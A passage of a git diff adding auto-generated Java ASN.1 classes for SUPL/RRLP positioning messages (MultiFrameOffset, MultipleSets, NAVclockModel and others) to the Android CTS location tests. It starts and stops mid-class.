+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "multiFrameOffset : "
+ + getMultiFrameOffset().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MultiFrameCarrier = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameOffset.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameOffset.java
new file mode 100755
index 0000000..ededd17
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultiFrameOffset.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MultiFrameOffset extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_MultiFrameOffset
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MultiFrameOffset() {
+ super();
+ setValueRange("0", "51");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MultiFrameOffset;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MultiFrameOffset != null) {
+ return ImmutableList.of(TAG_MultiFrameOffset);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MultiFrameOffset from encoded stream.
+ */
+ public static MultiFrameOffset fromPerUnaligned(byte[] encodedBytes) {
+ MultiFrameOffset result = new MultiFrameOffset();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MultiFrameOffset from encoded stream.
+ */
+ public static MultiFrameOffset fromPerAligned(byte[] encodedBytes) {
+ MultiFrameOffset result = new MultiFrameOffset();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "MultiFrameOffset = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleMeasurementSets.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleMeasurementSets.java
new file mode 100755
index 0000000..2bb4d49
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleMeasurementSets.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class MultipleMeasurementSets extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_MultipleMeasurementSets
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MultipleMeasurementSets() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MultipleMeasurementSets;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MultipleMeasurementSets != null) {
+ return ImmutableList.of(TAG_MultipleMeasurementSets);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MultipleMeasurementSets from encoded stream.
+ */
+ public static MultipleMeasurementSets fromPerUnaligned(byte[] encodedBytes) {
+ MultipleMeasurementSets result = new MultipleMeasurementSets();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MultipleMeasurementSets from encoded stream.
+ */
+ public static MultipleMeasurementSets fromPerAligned(byte[] encodedBytes) {
+ MultipleMeasurementSets result = new MultipleMeasurementSets();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "MultipleMeasurementSets = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleSets.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleSets.java
new file mode 100755
index 0000000..d1a14c4c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/MultipleSets.java
@@ -0,0 +1,507 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class MultipleSets extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_MultipleSets
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public MultipleSets() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_MultipleSets;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_MultipleSets != null) {
+ return ImmutableList.of(TAG_MultipleSets);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new MultipleSets from encoded stream.
+ */
+ public static MultipleSets fromPerUnaligned(byte[] encodedBytes) {
+ MultipleSets result = new MultipleSets();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new MultipleSets from encoded stream.
+ */
+ public static MultipleSets fromPerAligned(byte[] encodedBytes) {
+ MultipleSets result = new MultipleSets();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private MultipleSets.nbrOfSetsType nbrOfSets_;
+ public MultipleSets.nbrOfSetsType getNbrOfSets() {
+ return nbrOfSets_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultipleSets.nbrOfSetsType
+ */
+ public void setNbrOfSets(Asn1Object value) {
+ this.nbrOfSets_ = (MultipleSets.nbrOfSetsType) value;
+ }
+ public MultipleSets.nbrOfSetsType setNbrOfSetsToNewInstance() {
+ nbrOfSets_ = new MultipleSets.nbrOfSetsType();
+ return nbrOfSets_;
+ }
+
+ private MultipleSets.nbrOfReferenceBTSsType nbrOfReferenceBTSs_;
+ public MultipleSets.nbrOfReferenceBTSsType getNbrOfReferenceBTSs() {
+ return nbrOfReferenceBTSs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MultipleSets.nbrOfReferenceBTSsType
+ */
+ public void setNbrOfReferenceBTSs(Asn1Object value) {
+ this.nbrOfReferenceBTSs_ = (MultipleSets.nbrOfReferenceBTSsType) value;
+ }
+ public MultipleSets.nbrOfReferenceBTSsType setNbrOfReferenceBTSsToNewInstance() {
+ nbrOfReferenceBTSs_ = new MultipleSets.nbrOfReferenceBTSsType();
+ return nbrOfReferenceBTSs_;
+ }
+
+ private ReferenceRelation referenceRelation_;
+ public ReferenceRelation getReferenceRelation() {
+ return referenceRelation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReferenceRelation
+ */
+ public void setReferenceRelation(Asn1Object value) {
+ this.referenceRelation_ = (ReferenceRelation) value;
+ }
+ public ReferenceRelation setReferenceRelationToNewInstance() {
+ referenceRelation_ = new ReferenceRelation();
+ return referenceRelation_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNbrOfSets() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNbrOfSets();
+ }
+
+ @Override public void setToNewInstance() {
+ setNbrOfSetsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultipleSets.nbrOfSetsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nbrOfSets : "
+ + getNbrOfSets().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getNbrOfReferenceBTSs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNbrOfReferenceBTSs();
+ }
+
+ @Override public void setToNewInstance() {
+ setNbrOfReferenceBTSsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultipleSets.nbrOfReferenceBTSsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "nbrOfReferenceBTSs : "
+ + getNbrOfReferenceBTSs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getReferenceRelation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReferenceRelation();
+ }
+
+ @Override public void setToNewInstance() {
+ setReferenceRelationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ReferenceRelation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "referenceRelation : "
+ + getReferenceRelation().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class nbrOfSetsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_nbrOfSetsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public nbrOfSetsType() {
+ super();
+ setValueRange("2", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_nbrOfSetsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_nbrOfSetsType != null) {
+ return ImmutableList.of(TAG_nbrOfSetsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new nbrOfSetsType from encoded stream.
+ */
+ public static nbrOfSetsType fromPerUnaligned(byte[] encodedBytes) {
+ nbrOfSetsType result = new nbrOfSetsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new nbrOfSetsType from encoded stream.
+ */
+ public static nbrOfSetsType fromPerAligned(byte[] encodedBytes) {
+ nbrOfSetsType result = new nbrOfSetsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "nbrOfSetsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class nbrOfReferenceBTSsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_nbrOfReferenceBTSsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public nbrOfReferenceBTSsType() {
+ super();
+ setValueRange("1", "3");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_nbrOfReferenceBTSsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_nbrOfReferenceBTSsType != null) {
+ return ImmutableList.of(TAG_nbrOfReferenceBTSsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new nbrOfReferenceBTSsType from encoded stream.
+ */
+ public static nbrOfReferenceBTSsType fromPerUnaligned(byte[] encodedBytes) {
+ nbrOfReferenceBTSsType result = new nbrOfReferenceBTSsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new nbrOfReferenceBTSsType from encoded stream.
+ */
+ public static nbrOfReferenceBTSsType fromPerAligned(byte[] encodedBytes) {
+ nbrOfReferenceBTSsType result = new nbrOfReferenceBTSsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "nbrOfReferenceBTSsType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("MultipleSets = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NAVclockModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NAVclockModel.java
new file mode 100755
index 0000000..825d80a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NAVclockModel.java
@@ -0,0 +1,870 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NAVclockModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NAVclockModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NAVclockModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NAVclockModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NAVclockModel != null) {
+ return ImmutableList.of(TAG_NAVclockModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NAVclockModel from encoded stream.
+ */
+ public static NAVclockModel fromPerUnaligned(byte[] encodedBytes) {
+ NAVclockModel result = new NAVclockModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NAVclockModel from encoded stream.
+ */
+ public static NAVclockModel fromPerAligned(byte[] encodedBytes) {
+ NAVclockModel result = new NAVclockModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private NAVclockModel.navTocType navToc_;
+ public NAVclockModel.navTocType getNavToc() {
+ return navToc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NAVclockModel.navTocType
+ */
+ public void setNavToc(Asn1Object value) {
+ this.navToc_ = (NAVclockModel.navTocType) value;
+ }
+ public NAVclockModel.navTocType setNavTocToNewInstance() {
+ navToc_ = new NAVclockModel.navTocType();
+ return navToc_;
+ }
+
+ private NAVclockModel.navaf2Type navaf2_;
+ public NAVclockModel.navaf2Type getNavaf2() {
+ return navaf2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NAVclockModel.navaf2Type
+ */
+ public void setNavaf2(Asn1Object value) {
+ this.navaf2_ = (NAVclockModel.navaf2Type) value;
+ }
+ public NAVclockModel.navaf2Type setNavaf2ToNewInstance() {
+ navaf2_ = new NAVclockModel.navaf2Type();
+ return navaf2_;
+ }
+
+ private NAVclockModel.navaf1Type navaf1_;
+ public NAVclockModel.navaf1Type getNavaf1() {
+ return navaf1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NAVclockModel.navaf1Type
+ */
+ public void setNavaf1(Asn1Object value) {
+ this.navaf1_ = (NAVclockModel.navaf1Type) value;
+ }
+ public NAVclockModel.navaf1Type setNavaf1ToNewInstance() {
+ navaf1_ = new NAVclockModel.navaf1Type();
+ return navaf1_;
+ }
+
+ private NAVclockModel.navaf0Type navaf0_;
+ public NAVclockModel.navaf0Type getNavaf0() {
+ return navaf0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NAVclockModel.navaf0Type
+ */
+ public void setNavaf0(Asn1Object value) {
+ this.navaf0_ = (NAVclockModel.navaf0Type) value;
+ }
+ public NAVclockModel.navaf0Type setNavaf0ToNewInstance() {
+ navaf0_ = new NAVclockModel.navaf0Type();
+ return navaf0_;
+ }
+
+ private NAVclockModel.navTgdType navTgd_;
+ public NAVclockModel.navTgdType getNavTgd() {
+ return navTgd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a NAVclockModel.navTgdType
+ */
+ public void setNavTgd(Asn1Object value) {
+ this.navTgd_ = (NAVclockModel.navTgdType) value;
+ }
+ public NAVclockModel.navTgdType setNavTgdToNewInstance() {
+ navTgd_ = new NAVclockModel.navTgdType();
+ return navTgd_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavToc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavToc();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavTocToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NAVclockModel.navTocType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navToc : "
+ + getNavToc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavaf2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavaf2();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavaf2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NAVclockModel.navaf2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navaf2 : "
+ + getNavaf2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavaf1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavaf1();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavaf1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NAVclockModel.navaf1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navaf1 : "
+ + getNavaf1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavaf0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavaf0();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavaf0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NAVclockModel.navaf0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navaf0 : "
+ + getNavaf0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavTgd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavTgd();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavTgdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NAVclockModel.navTgdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
